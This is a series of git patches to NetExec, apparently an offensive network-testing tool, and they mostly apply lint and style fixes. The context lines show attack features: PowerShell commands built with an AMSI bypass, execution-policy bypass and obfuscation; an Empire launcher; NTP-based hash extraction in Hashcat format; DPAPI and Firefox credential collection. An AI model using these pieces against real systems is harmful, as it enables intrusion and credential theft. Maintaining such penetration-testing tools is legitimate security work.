@@ -5,11 +5,11 @@ from socket import socket, AF_INET, SOCK_DGRAM from struct import pack, unpack - def hashcat_format(rid, hashval, salt): """Encodes hash in Hashcat-compatible format (with username prefix).""" return f"{rid}:$sntp-ms${hexlify(hashval).decode()}${hexlify(salt).decode()}" + class NXCModule: """ Module by Disgame: @Disgame @@ -33,7 +33,6 @@ class NXCModule: # Static NTP query prefix using the MD5 authenticator. Append 4-byte RID and dummy checksum to create a full query. self.ntp_prefix = unhexlify("db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a") - def options(self, context, module_options): self.rids = range(1, 2**31) self.rate = 180 @@ -81,7 +80,6 @@ class NXCModule: except PermissionError: context.log.exception(f"No permission to listen on port {src_port}. May need to run as root.") - query_interval = 1 / rate last_ok_time = time() rids_received = set() diff --git a/nxc/modules/uac.py b/nxc/modules/uac.py index 7756d3c0..d630009f 100644 --- a/nxc/modules/uac.py +++ b/nxc/modules/uac.py @@ -1,4 +1,3 @@ -import logging from impacket.dcerpc.v5 import rrp from impacket.examples.secretsdump import RemoteOperations diff --git a/nxc/modules/wam.py b/nxc/modules/wam.py index ef896b5d..c45e601a 100644 --- a/nxc/modules/wam.py +++ b/nxc/modules/wam.py @@ -24,7 +24,6 @@ class NXCModule: self.pvkbytes = get_domain_backup_key(connection) - target = Target.create( domain=connection.domain, username=username, diff --git a/nxc/modules/winscp.py b/nxc/modules/winscp.py index 85db2790..f84e8750 100644 --- a/nxc/modules/winscp.py +++ b/nxc/modules/winscp.py @@ -15,7 +15,6 @@ import re import configparser - class NXCModule: """Module by @NeffIsBack""" diff --git a/nxc/nxcdb.py b/nxc/nxcdb.py index 4ebe1f8c..7da2c77d 100644 --- a/nxc/nxcdb.py +++ b/nxc/nxcdb.py @@ -47,8 +47,7 @@ def write_csv(filename, headers, entries): def write_list(filename, entries): """Writes a file with a simple list""" with open(os.path.expanduser(filename), "w") as export_file: - for line in entries: - export_file.write(line + "\n") + export_file.writelines(line + "\n" for line in entries) def complete_import(text, line): @@ -516,7 +515,6 @@ class NXCDBMenu(cmd.Cmd): def do_EOF(line): sys.exit() - @staticmethod def help_exit(): help_string = """ diff --git a/nxc/protocols/ftp.py b/nxc/protocols/ftp.py index 859f2d03..decac478 100644 --- a/nxc/protocols/ftp.py +++ b/nxc/protocols/ftp.py @@ -5,6 +5,7 @@ from nxc.helpers.logger import highlight from nxc.logger import NXCAdapter from ftplib import FTP, error_perm + class ftp(connection): def __init__(self, args, db, host): self.protocol = "FTP" diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 877b42b6..7f646f69 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -6,7 +6,7 @@ import os from errno import EHOSTUNREACH, ETIMEDOUT, ENETUNREACH from binascii import hexlify from datetime import datetime -from re import sub, I +from re import sub, IGNORECASE from zipfile import ZipFile from termcolor import colored from dns import resolver @@ -197,10 +197,10 @@ class ldap(connection): if str(attribute["type"]) == "defaultNamingContext": base_dn = str(attribute["vals"][0]) target_domain = sub( - ",DC=", + r",DC=", ".", base_dn[base_dn.lower().find("dc="):], - flags=I, + flags=IGNORECASE, )[3:] if str(attribute["type"]) == "dnsHostName": target = str(attribute["vals"][0]) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 722b9411..45505e67 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -104,8 +104,7 @@ def get_error_string(exception): def requires_smb_server(func): def _decorator(self, *args, **kwargs): - global smb_server - global smb_share_name + global smb_server, smb_share_name get_output = False payload = None diff --git a/nxc/protocols/smb/dpapi.py b/nxc/protocols/smb/dpapi.py index 9e041f11..ce43461a 100644 --- a/nxc/protocols/smb/dpapi.py +++ b/nxc/protocols/smb/dpapi.py @@ -45,6 +45,7 @@ def get_domain_backup_key(context): context.logger.fail(f"Could not get domain backupkey: {e}") return pvkbytes + def collect_masterkeys_from_target(context, target, dploot_connection, user=True, system=True): masterkeys = [] plaintexts = {} @@ -85,6 +86,7 @@ def collect_masterkeys_from_target(context, target, dploot_connection, user=True return masterkeys + def upgrade_to_dploot_connection(target, connection=None): conn = None try: diff --git a/nxc/protocols/smb/firefox.py b/nxc/protocols/smb/firefox.py index ec63705d..7217b8bb 100644 --- a/nxc/protocols/smb/firefox.py +++ b/nxc/protocols/smb/firefox.py @@ -25,6 +25,7 @@ class FirefoxData: self.username = username self.password = password + @dataclass class FirefoxCookie: winuser: str @@ -36,6 +37,7 @@ class FirefoxCookie: expires_utc: str last_access_utc: str + class FirefoxTriage: """ Firefox by @zblurx diff --git a/nxc/protocols/smb/passpol.py b/nxc/protocols/smb/passpol.py index dbea1931..f5a93cf1 100644 --- a/nxc/protocols/smb/passpol.py +++ b/nxc/protocols/smb/passpol.py @@ -23,7 +23,7 @@ def convert(low, high, lockout=False): time = "" tmp = 0 - if low == 0 and high == -0x8000_0000 or low == 0 and high == -0x8000_0000_0000_0000: + if (low == 0 and high == -0x8000_0000) or (low == 0 and high == -0x8000_0000_0000_0000): return "Not Set" if low == 0 and high == 0: return "None" diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 8ea7b967..8c6485d2 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -95,6 +95,7 @@ def proto_args(parser, parents): return parser + def get_conditional_action(baseAction): class ConditionalAction(baseAction): def __init__(self, option_strings, dest, **kwargs): diff --git a/nxc/protocols/smb/smbspider.py b/nxc/protocols/smb/smbspider.py index 765fcdea..7d239229 100755 --- a/nxc/protocols/smb/smbspider.py +++ b/nxc/protocols/smb/smbspider.py @@ -149,7 +149,6 @@ class SMBSpider: if self.content and not result.is_directory(): self.search_content(path, result) - def search_content(self, path, result): path = path.replace("*", "") try: diff --git a/nxc/protocols/ssh/proto_args.py b/nxc/protocols/ssh/proto_args.py index 8f82b787..add5454c 100644 --- a/nxc/protocols/ssh/proto_args.py +++ b/nxc/protocols/ssh/proto_args.py @@ -23,6 +23,7 @@ def proto_args(parser, parents): return parser + def get_conditional_action(baseAction): class ConditionalAction(baseAction): def __init__(self, option_strings, dest, **kwargs): diff --git a/tests/test_smb_database.py b/tests/test_smb_database.py index f4da5c09..f2e5479c 100644 --- a/tests/test_smb_database.py +++ b/tests/test_smb_database.py @@ -38,7 +38,7 @@ def db_setup(db_engine): delete_workspace("test") -@pytest.fixture() +@pytest.fixture def db(db_setup): yield db_setup db_setup.clear_database() From ae6721aa9a182902b8b76e41d5b191bbff8b9759 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 12:27:35 -0400 Subject: [PATCH 12/83] Remove all FURB rules, makes code more complicated --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 8b6f19b5..798cc1d1 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -105,7 +105,7 @@ select = [ ignore = [ "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D413", "D415", - "D417", "D419", "FURB110", "RET503", "RET505", "RET506", "RET507", "RET508", + "D417", "D419", "FURB", "RET503", "RET505", "RET506", "RET507", "RET508", "PERF203", "RUF012", "RUF059" ] From 52008c1b253b04177f43a49a0cae1e9885825473 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 12:30:38 -0400 Subject: [PATCH 13/83] Remove unnecessary cast to int --- nxc/protocols/nfs.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 2f77b6ab..e9d60ef0 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -562,13 +562,13 @@ class nfs(connection): # Format for the file id see: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 fh = bytearray(mount_fh) if filesystem in [FileID.ext, FileID.unknown]: - root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) - root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) # noqa: E226 + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) # noqa: E226 if filesystem in [FileID.btrfs, FileID.unknown]: # Iterate over btrfs subvolumes, use 16 as default similar to the guys from nfs-security-tooling for i in range(16): subvolume = int.to_bytes(i) + b"\x01\x00\x00" - root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) + root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) # noqa: E226 return root_handles @@ -728,7 +728,7 @@ def convert_size(size_bytes): if size_bytes == 0: return "0B" size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB") - i = int(math.floor(math.log(size_bytes, 1024))) + i = math.floor(math.log(size_bytes, 1024)) p = math.pow(1024, i) s = round(size_bytes / p, 1) return f"{s}{size_name[i]}" From 42538e4c898997503101383086897ababfd35e1d Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 13:16:13 -0400 Subject: [PATCH 14/83] Disable false positive --- nxc/netexec.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/netexec.py b/nxc/netexec.py index 16280d19..11f2cc0f 100755 --- a/nxc/netexec.py +++ b/nxc/netexec.py @@ -39,7 +39,7 @@ if platform.system() != "Windows": resource.setrlimit(resource.RLIMIT_NOFILE, file_limit) -async def start_run(protocol_obj, args, db, targets): +async def start_run(protocol_obj, args, db, targets): # noqa: RUF029 futures = [] nxc_logger.debug("Creating ThreadPoolExecutor") if args.no_progress or len(targets) == 1: From 89233700b64adc5c0a22a6a3fdf1c32f59fa6e11 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 13:16:43 -0400 Subject: [PATCH 15/83] Disable A004, as it complains about sys.exit which supposes to be superior in programs --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 798cc1d1..7c2c36ec 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -103,7 +103,7 @@ select = [ "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "FURB", "LOG", "RUF" ] ignore = [ - "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", + "A004", "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D413", "D415", "D417", "D419", "FURB", "RET503", "RET505", "RET506", "RET507", "RET508", "PERF203", "RUF012", "RUF059" From bde58c4e56442f08b98b5893ef5ba9a1dea6a8ed Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 13:19:08 -0400 Subject: [PATCH 16/83] Apply SIM401, use .get() over 'x if x else y' --- nxc/modules/empire_exec.py | 2 +- nxc/protocols/ldap.py | 10 +++++----- nxc/protocols/ldap/laps.py | 8 ++++---- 3 files changed, 10 insertions(+), 10 deletions(-) diff --git a/nxc/modules/empire_exec.py b/nxc/modules/empire_exec.py index aef27ff6..c2dac1b4 100644 --- a/nxc/modules/empire_exec.py +++ b/nxc/modules/empire_exec.py @@ -33,7 +33,7 @@ class NXCModule: obfuscate = "OBFUSCATE" in module_options # we can use commands instead of backslashes - this is because Linux and OSX treat them differently default_obfuscation = "Token,All,1" - obfuscate_cmd = module_options["OBFUSCATE_CMD"] if "OBFUSCATE_CMD" in module_options else default_obfuscation + obfuscate_cmd = module_options.get("OBFUSCATE_CMD", default_obfuscation) context.log.debug(f"Obfuscate: {obfuscate} - Obfuscate_cmd: {obfuscate_cmd}") # Pull the host and port from the config file diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 7f646f69..22ce49ea 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -407,7 +407,7 @@ class ldap(connection): except Exception as e: error_code = str(e).split()[-2][:-1] self.logger.fail( - f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", + f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status.get(error_code, '')}", color="magenta" if error_code in ldap_error_status else "red", ) return False @@ -479,13 +479,13 @@ class ldap(connection): except Exception as e: error_code = str(e).split()[-2][:-1] self.logger.fail( - f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", + f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status.get(error_code, '')}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) else: error_code = str(e).split()[-2][:-1] self.logger.fail( - f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", + f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status.get(error_code, '')}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) return False @@ -570,13 +570,13 @@ class ldap(connection): except ldap_impacket.LDAPSessionError as e: error_code = str(e).split()[-2][:-1] self.logger.fail( - f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", + f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status.get(error_code, '')}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) else: error_code = str(e).split()[-2][:-1] self.logger.fail( - f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", + f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status.get(error_code, '')}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) return False diff --git a/nxc/protocols/ldap/laps.py b/nxc/protocols/ldap/laps.py index 3a3c4397..873cd10d 100644 --- a/nxc/protocols/ldap/laps.py +++ b/nxc/protocols/ldap/laps.py @@ -95,13 +95,13 @@ class LDAPConnect: except ldap_impacket.LDAPSessionError as e: error_code = str(e).split()[-2][:-1] self.logger.fail( - f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", + f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status.get(error_code, '')}", color="magenta" if error_code in ldap_error_status else "red", ) else: error_code = str(e).split()[-2][:-1] self.logger.fail( - f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", + f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status.get(error_code, '')}", color="magenta" if error_code in ldap_error_status else "red", ) return False @@ -152,13 +152,13 @@ class LDAPConnect: except ldap_impacket.LDAPSessionError as e: error_code = str(e).split()[-2][:-1] self.logger.fail( - f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", + f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status.get(error_code, '')}", color="magenta" if error_code in ldap_error_status else "red", ) else: error_code = str(e).split()[-2][:-1] self.logger.fail( - f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", + f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status.get(error_code, '')}", color="magenta" if error_code in ldap_error_status else "red", ) return False From 542452accb31a35e25c6689064d1d41f34e28eaf Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 13:26:38 -0400 Subject: [PATCH 17/83] Apply C419, removing unnecessary list comprehensions --- nxc/protocols/smb.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 45505e67..f3702e76 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -926,17 +926,17 @@ class smb(connection): return self.enumerate_sessions_info(sessions) - maxSessionNameLen = max([len(sessions[i]["SessionName"]) + 1 for i in sessions]) + maxSessionNameLen = max(len(sessions[i]["SessionName"]) + 1 for i in sessions) maxSessionNameLen = maxSessionNameLen if len("SESSIONNAME") < maxSessionNameLen else len("SESSIONNAME") + 1 - maxUsernameLen = max([len(sessions[i]["Username"] + sessions[i]["Domain"]) + 1 for i in sessions]) + 1 + maxUsernameLen = max(len(sessions[i]["Username"] + sessions[i]["Domain"]) + 1 for i in sessions) + 1 maxUsernameLen = maxUsernameLen if len("Username") < maxUsernameLen else len("Username") + 1 - maxIdLen = max([len(str(i)) for i in sessions]) + maxIdLen = max(len(str(i)) for i in sessions) maxIdLen = maxIdLen if len("ID") < maxIdLen else len("ID") + 1 - maxStateLen = max([len(sessions[i]["state"]) + 1 for i in sessions]) + maxStateLen = max(len(sessions[i]["state"]) + 1 for i in sessions) maxStateLen = maxStateLen if len("STATE") < maxStateLen else len("STATE") + 1 - maxRemoteIp = max([len(sessions[i]["RemoteIp"]) + 1 for i in sessions]) + maxRemoteIp = max(len(sessions[i]["RemoteIp"]) + 1 for i in sessions) maxRemoteIp = maxRemoteIp if len("RemoteAddress") < maxRemoteIp else len("RemoteAddress") + 1 - maxClientName = max([len(sessions[i]["ClientName"]) + 1 for i in sessions]) + maxClientName = max(len(sessions[i]["ClientName"]) + 1 for i in sessions) maxClientName = maxClientName if len("ClientName") < maxClientName else len("ClientName") + 1 template = ("{SESSIONNAME: <%d} " # noqa: UP031 "{USERNAME: <%d} " @@ -1007,8 +1007,8 @@ class smb(connection): if not res: return self.logger.success("Enumerated processes") - maxImageNameLen = max([len(i["ImageName"]) for i in res]) - maxSidLen = max([len(i["pSid"]) for i in res]) + maxImageNameLen = max(len(i["ImageName"]) for i in res) + maxSidLen = max(len(i["pSid"]) for i in res) template = "{: <%d} {: <8} {: <11} {: <%d} {: >12}" % (maxImageNameLen, maxSidLen) # noqa: UP031 self.logger.highlight(template.format("Image Name", "PID", "Session#", "SID", "Mem Usage")) self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", "")) From 67abbf8bf3c9fa60dff5069a1cff93442c5cd23e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 13:38:28 -0400 Subject: [PATCH 18/83] Disable RUF052, these are considered private not dummy --- pyproject.toml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 7c2c36ec..cf292c16 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -100,13 +100,13 @@ preview = true [tool.ruff.lint] select = [ "E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT", - "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "FURB", "LOG", "RUF" + "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "LOG", "RUF" ] ignore = [ "A004", "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D413", "D415", "D417", "D419", "FURB", "RET503", "RET505", "RET506", "RET507", "RET508", - "PERF203", "RUF012", "RUF059" + "PERF203", "RUF012", "RUF052", "RUF059" ] # THE SETTINGS BELOW ARE DEFAULTS, left in here to override potential vs-code settings From f386434ce5552bad2d184296dcab8db38311883f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 13:49:54 -0400 Subject: [PATCH 19/83] Lint daclread --- nxc/modules/daclread.py | 10 +++------- 1 file changed, 3 insertions(+), 7 deletions(-) diff --git a/nxc/modules/daclread.py b/nxc/modules/daclread.py index 0bdff145..b1a6d3ba 100644 --- a/nxc/modules/daclread.py +++ b/nxc/modules/daclread.py @@ -429,11 +429,9 @@ class NXCModule: def parse_dacl(self, context, dacl): parsed_dacl = [] context.log.debug("Parsing DACL") - i = 0 for ace in dacl["Data"]: parsed_ace = self.parse_ace(context, ace) parsed_dacl.append(parsed_ace) - i += 1 return parsed_dacl # Parses an access mask to extract the different values from a simple permission @@ -509,11 +507,10 @@ class NXCModule: parsed_dacl : a parsed DACL from parse_dacl() """ context.log.debug("Printing parsed DACL") - i = 0 # If a specific right or a specific GUID has been specified, only the ACE with this right will be printed # If an ACE type has been specified, only the ACE with this type will be specified # If a principal has been specified, only the ACE where he is the trustee will be printed - for parsed_ace in parsed_dacl: + for i, parsed_ace in enumerate(parsed_dacl): print_ace = True context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}") @@ -561,16 +558,15 @@ class NXCModule: except Exception as e: context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})") if print_ace: - self.context.log.highlight("%-28s" % "ACE[%d] info" % i) + self.context.log.highlight(f"ACE[{i}] info") self.print_parsed_ace(parsed_ace) - i += 1 # Prints properly a parsed ACE # - parsed_ace : a parsed ACE from parse_ace() def print_parsed_ace(self, parsed_ace): elements_name = list(parsed_ace.keys()) for attribute in elements_name: - self.context.log.highlight(" %-26s: %s" % (attribute, parsed_ace[attribute])) + self.context.log.highlight(f"\t{attribute:<26}: {parsed_ace[attribute]}") # Retrieves the GUIDs for the specified rights def build_guids_for_rights(self): From 4255cab29d121ac4810077282d2df73691db7a44 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 13:57:22 -0400 Subject: [PATCH 20/83] Adding exceptions for false positives --- nxc/netexec.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/netexec.py b/nxc/netexec.py index 11f2cc0f..33aee25b 100755 --- a/nxc/netexec.py +++ b/nxc/netexec.py @@ -57,7 +57,7 @@ async def start_run(protocol_obj, args, db, targets): # noqa: RUF029 nxc_logger.debug(f"Creating thread for {protocol_obj}") futures = [executor.submit(protocol_obj, args, db, target) for target in targets] for _ in as_completed(futures): - current += 1 + current += 1 # noqa: SIM113 progress.update(tasks, completed=current) for future in as_completed(futures): try: @@ -103,8 +103,8 @@ def main(): start_id, end_id = cred_id.split("-") try: for n in range(int(start_id), int(end_id) + 1): - args.cred_id.append(n) - args.cred_id.remove(cred_id) + args.cred_id.append(n) # noqa: B909 + args.cred_id.remove(cred_id) # noqa: B909 except Exception as e: nxc_logger.error(f"Error parsing database credential id: {e}") exit(1) From 768a4010193e28e5a1d0437ce8134c3a8ada8cf0 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 14:02:07 -0400 Subject: [PATCH 21/83] Leaving as is for readability --- nxc/connection.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/connection.py b/nxc/connection.py index bd3fac76..2f279456 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -320,7 +320,7 @@ class connection: if self.failed_logins == self.args.fail_limit: return True - if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: + if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # noqa: SIM103 return True return False From 1520f3cbd45d1a0ac91122e04a3da7e307f1798c Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 14:02:29 -0400 Subject: [PATCH 22/83] Remove unnecessary code and format string --- nxc/helpers/powershell.py | 26 ++++++-------------------- nxc/protocols/ldap.py | 2 +- 2 files changed, 7 insertions(+), 21 deletions(-) diff --git a/nxc/helpers/powershell.py b/nxc/helpers/powershell.py index 91e09e6c..7f3bb731 100644 --- a/nxc/helpers/powershell.py +++ b/nxc/helpers/powershell.py @@ -58,19 +58,6 @@ def encode_ps_command(command): return b64encode(command.encode("UTF-16LE")).decode() -def is_powershell_installed(): - """ - Check if PowerShell is installed. - - Returns - ------- - bool: True if PowerShell is installed, False otherwise. - """ - if which("powershell"): - return True - return False - - def obfs_ps_script(path_to_script): """ Obfuscates a PowerShell script. @@ -92,7 +79,7 @@ def obfs_ps_script(path_to_script): obfs_script_dir = os.path.join(NXC_PATH, "obfuscated_scripts") obfs_ps_script = os.path.join(obfs_script_dir, ps_script) - if is_powershell_installed() and obfuscate_ps_scripts: + if bool(which("powershell")) and obfuscate_ps_scripts: if os.path.exists(obfs_ps_script): nxc_logger.display("Using cached obfuscated Powershell script") with open(obfs_ps_script) as script: @@ -140,7 +127,7 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None str: The generated PowerShell command. """ nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}") - + if custom_amsi: nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}") with open(custom_amsi) as file_in: @@ -155,7 +142,7 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}" else: command = f"{amsi_bypass} {ps_command}" - + nxc_logger.debug(f"Generated PS command:\n {command}\n") if obfs: @@ -164,7 +151,7 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None while True: nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}") obfs_command = invoke_obfuscation(command) - + command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"' if len(command) <= 8191: break @@ -177,11 +164,11 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None # if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"' command = f"powershell.exe -noni -nop -w 1 {command}" - + if len(command) > 8191: nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.") exit(1) - + nxc_logger.debug(f"Final command: {command}") return command @@ -430,4 +417,3 @@ def invoke_obfuscation(script_string): obfuscated_script = choice(invoke_options) nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}") return obfuscated_script - diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 22ce49ea..1f48143a 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -849,7 +849,7 @@ class ldap(connection): return False # Building the search filter - search_filter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE) + search_filter = f"(&(UserAccountControl:1.2.840.113556.1.4.803:={UF_DONT_REQUIRE_PREAUTH})(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE}))(!(objectCategory=computer)))" attributes = [ "sAMAccountName", "pwdLastSet", From 2f63732f002675d0aeaaa928451ac7299c16f078 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 14:23:43 -0400 Subject: [PATCH 23/83] One liner return values and format strings --- nxc/loaders/moduleloader.py | 4 +--- nxc/protocols/ldap/bloodhound.py | 2 +- nxc/protocols/mssql/mssqlexec.py | 4 +--- 3 files changed, 3 insertions(+), 7 deletions(-) diff --git a/nxc/loaders/moduleloader.py b/nxc/loaders/moduleloader.py index d7e45034..ac6e4895 100755 --- a/nxc/loaders/moduleloader.py +++ b/nxc/loaders/moduleloader.py @@ -46,9 +46,7 @@ class ModuleLoader: self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)") module_error = True - if module_error: - return False - return True + return not module_error def load_module(self, module_path): """Load a module, initializing it and checking that it has the proper attributes""" diff --git a/nxc/protocols/ldap/bloodhound.py b/nxc/protocols/ldap/bloodhound.py index 4532b7a3..14109de4 100644 --- a/nxc/protocols/ldap/bloodhound.py +++ b/nxc/protocols/ldap/bloodhound.py @@ -107,4 +107,4 @@ class BloodHound: computer_enum.enumerate_computers(self.ad.computers, num_workers=num_workers, timestamp=timestamp, fileNamePrefix=fileNamePrefix) end_time = time.time() minutes, seconds = divmod(int(end_time - start_time), 60) - self.logger.highlight("Done in %02dM %02dS" % (minutes, seconds)) + self.logger.highlight(f"Done in {minutes}M {seconds}S") diff --git a/nxc/protocols/mssql/mssqlexec.py b/nxc/protocols/mssql/mssqlexec.py index 3436a002..a9010359 100755 --- a/nxc/protocols/mssql/mssqlexec.py +++ b/nxc/protocols/mssql/mssqlexec.py @@ -65,9 +65,7 @@ class MSSQLEXEC: result = self.mssql_conn.sql_query(query) # Assuming the query returns a list of dictionaries with 'config_value' as the key self.logger.debug(f"{option} check result: {result}") - if result and result[0]["config_value"] == 1: - return True - return False + return bool(result and result[0]["config_value"] == 1) def put_file(self, data, remote): try: From a4bdf2b1741b7b7a5ef2526704a2217ff2ea1822 Mon Sep 17 00:00:00 2001 From: Alexander Neff 